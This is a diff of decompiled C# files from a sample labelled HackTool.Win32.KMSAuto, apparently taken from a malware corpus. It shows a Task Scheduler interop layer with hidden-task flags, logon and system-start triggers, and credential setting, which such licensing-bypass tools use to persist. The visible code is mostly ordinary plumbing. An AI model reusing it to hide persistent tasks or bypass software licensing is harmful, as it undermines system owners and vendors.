+    private void SetHiddenFileAttr(bool set)
+    {
+      string ppszFileName;
+      ((IPersistFile) this.iTask).GetCurFile(out ppszFileName);
+      FileAttributes attributes = File.GetAttributes(ppszFileName);
+      FileAttributes fileAttributes = !set ? attributes & ~FileAttributes.Hidden : attributes | FileAttributes.Hidden;
+      File.SetAttributes(ppszFileName, fileAttributes);
+    }
+
+    private bool GetHiddenFileAttr()
+    {
+      string ppszFileName;
+      ((IPersistFile) this.iTask).GetCurFile(out ppszFileName);
+      try
+      {
+        return (File.GetAttributes(ppszFileName) & FileAttributes.Hidden) != (FileAttributes) 0;
+      }
+      catch
+      {
+        return false;
+      }
+    }
+
+    public DateTime NextRunTimeAfter(DateTime after)
+    {
+      after = after.AddSeconds(1.0);
+      SystemTime Begin = new SystemTime();
+      Begin.Year = (ushort) after.Year;
+      Begin.Month = (ushort) after.Month;
+      Begin.Day = (ushort) after.Day;
+      Begin.DayOfWeek = (ushort) after.DayOfWeek;
+      Begin.Hour = (ushort) after.Hour;
+      Begin.Minute = (ushort) after.Minute;
+      Begin.Second = (ushort) after.Second;
+      SystemTime systemTime1 = new SystemTime();
+      SystemTime End = Begin with
+      {
+        Year = (ushort) DateTime.MaxValue.Year,
+        Month = 1
+      };
+      ushort Count = 1;
+      IntPtr TaskTimes;
+      this.iTask.GetRunTimes(ref Begin, ref End, ref Count, out TaskTimes);
+      if (Count != (ushort) 1)
+        return DateTime.MinValue;
+      SystemTime systemTime2 = new SystemTime();
+      SystemTime structure = (SystemTime) Marshal.PtrToStructure(TaskTimes, typeof (SystemTime));
+      Marshal.FreeCoTaskMem(TaskTimes);
+      return new DateTime((int) structure.Year, (int) structure.Month, (int) structure.Day, (int) structure.Hour, (int) structure.Minute, (int) structure.Second);
+    }
+
+    public void Run() => this.iTask.Run();
+
+    public void Save()
+    {
+      ((IPersistFile) this.iTask).Save((string) null, false);
+      this.SetHiddenFileAttr(this.Hidden);
+    }
+
+    public void Save(string name)
+    {
+      IPersistFile iTask = (IPersistFile) this.iTask;
+      string ppszFileName;
+      iTask.GetCurFile(out ppszFileName);
+      string pszFileName = Path.GetDirectoryName(ppszFileName) + (object) Path.DirectorySeparatorChar + name + Path.GetExtension(ppszFileName);
+      iTask.Save(pszFileName, true);
+      iTask.SaveCompleted(pszFileName);
+      this.name = name;
+      this.SetHiddenFileAttr(this.Hidden);
+    }
+
+    public void Close()
+    {
+      if (this.triggers != null)
+        this.triggers.Dispose();
+      Marshal.ReleaseComObject((object) this.iTask);
+      this.iTask = (ITask) null;
+    }
+
+    public void DisplayForEdit() => this.iTask.EditWorkItem(0U, 0U);
+
+    public bool DisplayPropertySheet() => this.DisplayPropertySheet(Task.PropPages.Task | Task.PropPages.Schedule | Task.PropPages.Settings);
+
+    public bool DisplayPropertySheet(Task.PropPages pages)
+    {
+      PropSheetHeader psh = new PropSheetHeader();
+      IProvideTaskPage iTask = (IProvideTaskPage) this.iTask;
+      IntPtr[] numArray = new IntPtr[3];
+      int num1 = 0;
+      IntPtr phPage;
+      if ((pages & Task.PropPages.Task) != (Task.PropPages) 0)
+      {
+        iTask.GetPage(0, false, out phPage);
+        numArray[num1++] = phPage;
+      }
+      if ((pages & Task.PropPages.Schedule) != (Task.PropPages) 0)
+      {
+        iTask.GetPage(1, false, out phPage);
+        numArray[num1++] = phPage;
+      }
+      if ((pages & Task.PropPages.Settings) != (Task.PropPages) 0)
+      {
+        iTask.GetPage(2, false, out phPage);
+        numArray[num1++] = phPage;
+      }
+      if (num1 == 0)
+        throw new ArgumentException("No Property Pages to display");
+      psh.dwSize = (uint) Marshal.SizeOf((object) psh);
+      psh.dwFlags = 128U;
+      psh.pszCaption = this.Name;
+      psh.nPages = (uint) num1;
+      GCHandle gcHandle = GCHandle.Alloc((object) numArray, GCHandleType.Pinned);
+      psh.phpage = gcHandle.AddrOfPinnedObject();
+      int num2 = PropertySheetDisplay.PropertySheet(ref psh);
+      gcHandle.Free();
+      if (num2 < 0)
+        throw new Exception("Property Sheet failed to display");
+      return num2 > 0;
+    }
+
+    public void SetAccountInformation(string accountName, string password)
+    {
+      IntPtr coTaskMemUni = Marshal.StringToCoTaskMemUni(password);
+      this.iTask.SetAccountInformation(accountName, coTaskMemUni);
+      Marshal.FreeCoTaskMem(coTaskMemUni);
+    }
+
+    public void SetAccountInformation(string accountName, SecureString password)
+    {
+      IntPtr coTaskMemUnicode = Marshal.SecureStringToCoTaskMemUnicode(password);
+      this.iTask.SetAccountInformation(accountName, coTaskMemUnicode);
+      Marshal.ZeroFreeCoTaskMemUnicode(coTaskMemUnicode);
+    }
+
+    public void Terminate() => this.iTask.Terminate();
+
+    public override string ToString() => string.Format("{0} (\"{1}\" {2})", (object) this.name, (object) this.ApplicationName, (object) this.Parameters);
+
+    public void Dispose() => this.Close();
+
+    [System.Flags]
+    public enum PropPages
+    {
+      Task = 1,
+      Schedule = 2,
+      Settings = 4,
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskScheduler/TaskFlags.cs

@@ -0,0 +1,28 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskScheduler.TaskFlags
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+
+namespace TaskScheduler
+{
+  [Flags]
+  public enum TaskFlags
+  {
+    Interactive = 1,
+    DeleteWhenDone = 2,
+    Disabled = 4,
+    StartOnlyIfIdle = 16, // 0x00000010
+    KillOnIdleEnd = 32, // 0x00000020
+    DontStartIfOnBatteries = 64, // 0x00000040
+    KillIfGoingOnBatteries = 128, // 0x00000080
+    RunOnlyIfDocked = 256, // 0x00000100
+    Hidden = 512, // 0x00000200
+    RunIfConnectedToInternet = 1024, // 0x00000400
+    RestartOnIdleResume = 2048, // 0x00000800
+    SystemRequired = 4096, // 0x00001000
+    RunOnlyIfLoggedOn = 8192, // 0x00002000
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskScheduler/TaskList.cs

@@ -0,0 +1,73 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskScheduler.TaskList
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+using System.Collections;
+
+namespace TaskScheduler
+{
+  public class TaskList : IEnumerable, IDisposable
+  {
+    private ScheduledTasks st;
+    private string nameComputer;
+
+    internal TaskList() => this.st = new ScheduledTasks();
+
+    internal TaskList(string computer) => this.st = new ScheduledTasks(computer);
+
+    internal string TargetComputer
+    {
+      get => this.nameComputer;
+      set
+      {
+        this.st.Dispose();
+        this.st = new ScheduledTasks(value);
+        this.nameComputer = value;
+      }
+    }
+
+    public Task NewTask(string name) => this.st.CreateTask(name);
+
+    public void Delete(string name) => this.st.DeleteTask(name);
+
+    public Task this[string name] => this.st.OpenTask(name);
+
+    public IEnumerator GetEnumerator() => (IEnumerator) new TaskList.Enumerator(this.st);
+
+    public void Dispose() => this.st.Dispose();
+
+    private class Enumerator : IEnumerator
+    {
+      private ScheduledTasks outer;
+      private string[] nameTask;
+      private int curIndex;
+      private Task curTask;
+
+      internal Enumerator(ScheduledTasks st)
+      {
+        this.outer = st;
+        this.nameTask = st.GetTaskNames();
+        this.Reset();
+      }
+
+      public bool MoveNext()
+      {
+        bool flag = ++this.curIndex < this.nameTask.Length;
+        if (flag)
+          this.curTask = this.outer.OpenTask(this.nameTask[this.curIndex]);
+        return flag;
+      }
+
+      public void Reset()
+      {
+        this.curIndex = -1;
+        this.curTask = (Task) null;
+      }
+
+      public object Current => (object) this.curTask;
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskScheduler/TaskStatus.cs

@@ -0,0 +1,21 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskScheduler.TaskStatus
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+namespace TaskScheduler
+{
+  public enum TaskStatus
+  {
+    Ready = 267008, // 0x00041300
+    Running = 267009, // 0x00041301
+    Disabled = 267010, // 0x00041302
+    NeverRun = 267011, // 0x00041303
+    NoMoreRuns = 267012, // 0x00041304
+    NotScheduled = 267013, // 0x00041305
+    Terminated = 267014, // 0x00041306
+    NoTriggers = 267015, // 0x00041307
+    NoTriggerTime = 267016, // 0x00041308
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskScheduler/Trigger.cs

@@ -0,0 +1,208 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskScheduler.Trigger
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+using System.Runtime.InteropServices;
+using TaskSchedulerInterop;
+
+namespace TaskScheduler
+{
+  public abstract class Trigger : ICloneable
+  {
+    private ITaskTrigger iTaskTrigger;
+    internal TaskTrigger taskTrigger;
+
+    internal Trigger()
+    {
+      this.iTaskTrigger = (ITaskTrigger) null;
+      this.taskTrigger = new TaskTrigger();
+      this.taskTrigger.TriggerSize = (ushort) Marshal.SizeOf((object) this.taskTrigger);
+      this.taskTrigger.BeginYear = (ushort) DateTime.Today.Year;
+      this.taskTrigger.BeginMonth = (ushort) DateTime.Today.Month;
+      this.taskTrigger.BeginDay = (ushort) DateTime.Today.Day;
+    }
+
+    internal Trigger(ITaskTrigger iTrigger)
+    {
+      if (iTrigger == null)
+        throw new ArgumentNullException(nameof (iTrigger), "ITaskTrigger instance cannot be null");
+      this.taskTrigger = new TaskTrigger();
+      this.taskTrigger.TriggerSize = (ushort) Marshal.SizeOf((object) this.taskTrigger);
+      iTrigger.GetTrigger(ref this.taskTrigger);
+      this.iTaskTrigger = iTrigger;
+    }
+
+    public object Clone()
+    {
+      Trigger trigger = (Trigger) this.MemberwiseClone();
+      trigger.iTaskTrigger = (ITaskTrigger) null;
+      return (object) trigger;
+    }
+
+    internal bool Bound => this.iTaskTrigger != null;
+
+    public DateTime BeginDate
+    {
+      get => new DateTime((int) this.taskTrigger.BeginYear, (int) this.taskTrigger.BeginMonth, (int) this.taskTrigger.BeginDay);
+      set
+      {
+        this.taskTrigger.BeginYear = (ushort) value.Year;
+        this.taskTrigger.BeginMonth = (ushort) value.Month;
+        this.taskTrigger.BeginDay = (ushort) value.Day;
+        this.SyncTrigger();
+      }
+    }
+
+    public bool HasEndDate
+    {
+      get => ((int) this.taskTrigger.Flags & 1) == 1;
+      set
+      {
+        if (value)
+          throw new ArgumentException("HasEndDate can only be set false");
+        this.taskTrigger.Flags &= 4294967294U;
+        this.SyncTrigger();
+      }
+    }
+
+    public DateTime EndDate
+    {
+      get => this.taskTrigger.EndYear == (ushort) 0 ? DateTime.MinValue : new DateTime((int) this.taskTrigger.EndYear, (int) this.taskTrigger.EndMonth, (int) this.taskTrigger.EndDay);
+      set
+      {
+        this.taskTrigger.Flags |= 1U;
+        this.taskTrigger.EndYear = (ushort) value.Year;
+        this.taskTrigger.EndMonth = (ushort) value.Month;
+        this.taskTrigger.EndDay = (ushort) value.Day;
+        this.SyncTrigger();
+      }
+    }
+
+    public int DurationMinutes
+    {
+      get => (int) this.taskTrigger.MinutesDuration;
+      set
+      {
+        if ((long) value < (long) this.taskTrigger.MinutesInterval)
+          throw new ArgumentOutOfRangeException(nameof (DurationMinutes), (object) value, "DurationMinutes must be greater than or equal the IntervalMinutes value");
+        this.taskTrigger.MinutesDuration = (uint) value;
+        this.SyncTrigger();
+      }
+    }
+
+    public int IntervalMinutes
+    {
+      get => (int) this.taskTrigger.MinutesInterval;
+      set
+      {
+        if ((long) value > (long) this.taskTrigger.MinutesDuration)
+          throw new ArgumentOutOfRangeException(nameof (IntervalMinutes), (object) value, "IntervalMinutes must be less than or equal the DurationMinutes value");
+        this.taskTrigger.MinutesInterval = (uint) value;
+        this.SyncTrigger();
+      }
+    }
+
+    public bool KillAtDurationEnd
+    {
+      get => ((int) this.taskTrigger.Flags & 2) == 2;
+      set
+      {
+        if (value)
+          this.taskTrigger.Flags |= 2U;
+        else
+          this.taskTrigger.Flags &= 4294967293U;
+        this.SyncTrigger();
+      }
+    }
+
+    public bool Disabled
+    {
+      get => ((int) this.taskTrigger.Flags & 4) == 4;
+      set
+      {
+        if (value)
+          this.taskTrigger.Flags |= 4U;
+        else
+          this.taskTrigger.Flags &= 4294967291U;
+        this.SyncTrigger();
+      }
+    }
+
+    internal static Trigger CreateTrigger(ITaskTrigger iTaskTrigger)
+    {
+      if (iTaskTrigger == null)
+        throw new ArgumentNullException(nameof (iTaskTrigger), "Instance of ITaskTrigger cannot be null");
+      TaskTrigger Trigger = new TaskTrigger();
+      Trigger.TriggerSize = (ushort) Marshal.SizeOf((object) Trigger);
+      iTaskTrigger.GetTrigger(ref Trigger);
+      switch (Trigger.Type)
+      {
+        case TaskTriggerType.TIME_TRIGGER_ONCE:
+          return (Trigger) new RunOnceTrigger(iTaskTrigger);
+        case TaskTriggerType.TIME_TRIGGER_DAILY:
+          return (Trigger) new DailyTrigger(iTaskTrigger);
+        case TaskTriggerType.TIME_TRIGGER_WEEKLY:
+          return (Trigger) new WeeklyTrigger(iTaskTrigger);
+        case TaskTriggerType.TIME_TRIGGER_MONTHLYDATE:
+          return (Trigger) new MonthlyTrigger(iTaskTrigger);
+        case TaskTriggerType.TIME_TRIGGER_MONTHLYDOW:
+          return (Trigger) new MonthlyDOWTrigger(iTaskTrigger);
+        case TaskTriggerType.EVENT_TRIGGER_ON_IDLE:
+          return (Trigger) new OnIdleTrigger(iTaskTrigger);
+        case TaskTriggerType.EVENT_TRIGGER_AT_SYSTEMSTART:
+          return (Trigger) new OnSystemStartTrigger(iTaskTrigger);
+        case TaskTriggerType.EVENT_TRIGGER_AT_LOGON:
+          return (Trigger) new OnLogonTrigger(iTaskTrigger);
+        default:
+          throw new ArgumentException("Unable to recognize type of trigger referenced in iTaskTrigger", nameof (iTaskTrigger));
+      }
+    }
+
+    protected void SyncTrigger()
+    {
+      if (this.iTaskTrigger == null)
+        return;
+      this.iTaskTrigger.SetTrigger(ref this.taskTrigger);
+    }
+
+    internal void Bind(ITaskTrigger iTaskTrigger)
+    {
+      this.iTaskTrigger = this.iTaskTrigger == null ? iTaskTrigger : throw new ArgumentException("Attempt to bind an already bound trigger");
+      iTaskTrigger.SetTrigger(ref this.taskTrigger);
+    }
+
+    internal void Bind(Trigger trigger) => this.Bind(trigger.iTaskTrigger);
+
+    internal void Unbind()
+    {
+      if (this.iTaskTrigger == null)
+        return;
+      Marshal.ReleaseComObject((object) this.iTaskTrigger);
+      this.iTaskTrigger = (ITaskTrigger) null;
+    }
+
+    public override string ToString()
+    {
+      if (this.iTaskTrigger == null)
+        return "Unbound " + this.GetType().ToString();
+      IntPtr TriggerString;
+      this.iTaskTrigger.GetTriggerString(out TriggerString);
+      return CoTaskMem.LPWStrToString(TriggerString);
+    }
+
+    public override bool Equals(object obj) => this.taskTrigger.Equals((object) ((Trigger) obj).taskTrigger);
+
+    public override int GetHashCode() => this.taskTrigger.GetHashCode();
+
+    [Flags]
+    private enum TaskTriggerFlags
+    {
+      HasEndDate = 1,
+      KillAtDurationEnd = 2,
+      Disabled = 4,
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskScheduler/TriggerList.cs

@@ -0,0 +1,153 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskScheduler.TriggerList
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+using System.Collections;
+using TaskSchedulerInterop;
+
+namespace TaskScheduler
+{
+  public class TriggerList : IList, ICollection, IEnumerable, IDisposable
+  {
+    private ITask iTask;
+    private ArrayList oTriggers;
+
+    internal TriggerList(ITask iTask)
+    {
+      this.iTask = iTask;
+      ushort Count = 0;
+      iTask.GetTriggerCount(out Count);
+      this.oTriggers = new ArrayList((int) Count + 5);
+      for (int TriggerIndex = 0; TriggerIndex < (int) Count; ++TriggerIndex)
+      {
+        ITaskTrigger Trigger;
+        iTask.GetTrigger((ushort) TriggerIndex, out Trigger);
+        this.oTriggers.Add((object) Trigger.CreateTrigger(Trigger));
+      }
+    }
+
+    public void RemoveAt(int index)
+    {
+      if (index >= this.Count)
+        throw new ArgumentOutOfRangeException(nameof (index), (object) index, "Failed to remove Trigger. Index out of range.");
+      ((Trigger) this.oTriggers[index]).Unbind();
+      this.oTriggers.RemoveAt(index);
+      this.iTask.DeleteTrigger((ushort) index);
+    }
+
+    void IList.Insert(int index, object value) => throw new NotImplementedException("TriggerList does not support Insert().");
+
+    public void Remove(Trigger trigger)
+    {
+      int index = this.IndexOf(trigger);
+      if (index == -1)
+        return;
+      this.RemoveAt(index);
+    }
+
+    void IList.Remove(object value) => this.Remove(value as Trigger);
+
+    public bool Contains(Trigger trigger) => this.IndexOf(trigger) != -1;
+
+    bool IList.Contains(object value) => this.Contains(value as Trigger);
+
+    public void Clear()
+    {
+      for (int index = this.Count - 1; index >= 0; --index)
+        this.RemoveAt(index);
+    }
+
+    public int IndexOf(Trigger trigger)
+    {
+      for (int index = 0; index < this.Count; ++index)
+      {
+        if (this[index].Equals((object) trigger))
+          return index;
+      }
+      return -1;
+    }
+
+    int IList.IndexOf(object value) => this.IndexOf(value as Trigger);
+
+    public int Add(Trigger trigger)
+    {
+      if (trigger.Bound)
+        throw new ArgumentException("A Trigger cannot be added if it is already in a list.");
+      ushort NewTriggerIndex;
+      ITaskTrigger Trigger;
+      this.iTask.CreateTrigger(out NewTriggerIndex, out Trigger);
+      trigger.Bind(Trigger);
+      if (this.oTriggers.Add((object) trigger) != (int) NewTriggerIndex)
+        throw new ApplicationException("Assertion Failure");
+      return (int) NewTriggerIndex;
+    }
+
+    int IList.Add(object value) => this.Add(value as Trigger);
+
+    public bool IsReadOnly => false;
+
+    public Trigger this[int index]
+    {
+      get => index < this.Count ? (Trigger) this.oTriggers[index] : throw new ArgumentOutOfRangeException(nameof (index), (object) index, "TriggerList collection");
+      set
+      {
+        Trigger trigger = index < this.Count ? (Trigger) this.oTriggers[index] : throw new ArgumentOutOfRangeException(nameof (index), (object) index, "TriggerList collection");
+        value.Bind(trigger);
+        this.oTriggers[index] = (object) value;
+      }
+    }
+
+    object IList.this[int index]
+    {
+      get => (object) this[index];
+      set => this[index] = value as Trigger;
+    }
+
+    public bool IsFixedSize => false;
+
+    public int Count => this.oTriggers.Count;
+
+    public void CopyTo(Array array, int index)
+    {
+      if (this.oTriggers.Count > array.Length - index)
+        throw new ArgumentException("Array has insufficient space to copy the collection.");
+      for (int index1 = 0; index1 < this.oTriggers.Count; ++index1)
+        array.SetValue(((Trigger) this.oTriggers[index1]).Clone(), index + index1);
+    }
+
+    public bool IsSynchronized => false;
+
+    public object SyncRoot => (object) null;
+
+    public IEnumerator GetEnumerator() => (IEnumerator) new TriggerList.Enumerator(this);
+
+    public void Dispose()
+    {
+      foreach (Trigger oTrigger in this.oTriggers)
+        oTrigger.Unbind();
+      this.oTriggers = (ArrayList) null;
+      this.iTask = (ITask) null;
+    }
+
+    private class Enumerator : IEnumerator
+    {
+      private TriggerList outer;
+      private int currentIndex;
+
+      internal Enumerator(TriggerList outer)
+      {
+        this.outer = outer;
+        this.Reset();
+      }
+
+      public bool MoveNext() => ++this.currentIndex < this.outer.oTriggers.Count;
+
+      public void Reset() => this.currentIndex = -1;
+
+      public object Current => this.outer.oTriggers[this.currentIndex];
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskScheduler/TriggerType.cs

@@ -0,0 +1,20 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskScheduler.TriggerType
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+namespace TaskScheduler
+{
+  internal enum TriggerType
+  {
+    RunOnce,
+    RunDaily,
+    RunWeekly,
+    RunMonthly,
+    RunMonthlyDOW,
+    OnIdle,
+    OnSystemStart,
+    OnLogon,
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskScheduler/WeeklyTrigger.cs

@@ -0,0 +1,55 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskScheduler.WeeklyTrigger
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using TaskSchedulerInterop;
+
+namespace TaskScheduler
+{
+  public class WeeklyTrigger : StartableTrigger
+  {
+    public WeeklyTrigger(
+      short hour,
+      short minutes,
+      DaysOfTheWeek daysOfTheWeek,
+      short weeksInterval)
+    {
+      this.SetStartTime((ushort) hour, (ushort) minutes);
+      this.taskTrigger.Type = TaskTriggerType.TIME_TRIGGER_WEEKLY;
+      this.taskTrigger.Data.weekly.WeeksInterval = (ushort) weeksInterval;
+      this.taskTrigger.Data.weekly.DaysOfTheWeek = (ushort) daysOfTheWeek;
+    }
+
+    public WeeklyTrigger(short hour, short minutes, DaysOfTheWeek daysOfTheWeek)
+      : this(hour, minutes, daysOfTheWeek, (short) 1)
+    {
+    }
+
+    internal WeeklyTrigger(ITaskTrigger iTrigger)
+      : base(iTrigger)
+    {
+    }
+
+    public short WeeksInterval
+    {
+      get => (short) this.taskTrigger.Data.weekly.WeeksInterval;
+      set
+      {
+        this.taskTrigger.Data.weekly.WeeksInterval = (ushort) value;
+        this.SyncTrigger();
+      }
+    }
+
+    public DaysOfTheWeek WeekDays
+    {
+      get => (DaysOfTheWeek) this.taskTrigger.Data.weekly.DaysOfTheWeek;
+      set
+      {
+        this.taskTrigger.Data.weekly.DaysOfTheWeek = (ushort) value;
+        this.SyncTrigger();
+      }
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskScheduler/WhichWeek.cs

@@ -0,0 +1,17 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskScheduler.WhichWeek
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+namespace TaskScheduler
+{
+  public enum WhichWeek : short
+  {
+    FirstWeek = 1,
+    SecondWeek = 2,
+    ThirdWeek = 3,
+    FourthWeek = 4,
+    LastWeek = 5,
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskSchedulerInterop/CTask.cs

@@ -0,0 +1,19 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskSchedulerInterop.CTask
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace TaskSchedulerInterop
+{
+  [Guid("148BD520-A2AB-11CE-B11F-00AA00530503")]
+  [ComImport]
+  internal class CTask
+  {
+    [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)]
+    public extern CTask();
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskSchedulerInterop/CTaskScheduler.cs

@@ -0,0 +1,19 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskSchedulerInterop.CTaskScheduler
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace TaskSchedulerInterop
+{
+  [Guid("148BD52A-A2AB-11CE-B11F-00AA00530503")]
+  [ComImport]
+  internal class CTaskScheduler
+  {
+    [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)]
+    public extern CTaskScheduler();
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskSchedulerInterop/CoTaskMem.cs

@@ -0,0 +1,21 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskSchedulerInterop.CoTaskMem
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+using System.Runtime.InteropServices;
+
+namespace TaskSchedulerInterop
+{
+  internal class CoTaskMem
+  {
+    public static string LPWStrToString(IntPtr lpwstr)
+    {
+      string stringUni = Marshal.PtrToStringUni(lpwstr);
+      Marshal.FreeCoTaskMem(lpwstr);
+      return stringUni;
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskSchedulerInterop/Daily.cs

@@ -0,0 +1,13 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskSchedulerInterop.Daily
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+namespace TaskSchedulerInterop
+{
+  internal struct Daily
+  {
+    public ushort DaysInterval;
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskSchedulerInterop/HResult.cs

@@ -0,0 +1,35 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskSchedulerInterop.HResult
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+namespace TaskSchedulerInterop
+{
+  internal class HResult
+  {
+    public const int SCHED_S_TASK_READY = 267008;
+    public const int SCHED_S_TASK_RUNNING = 267009;
+    public const int SCHED_S_TASK_DISABLED = 267010;
+    public const int SCHED_S_TASK_HAS_NOT_RUN = 267011;
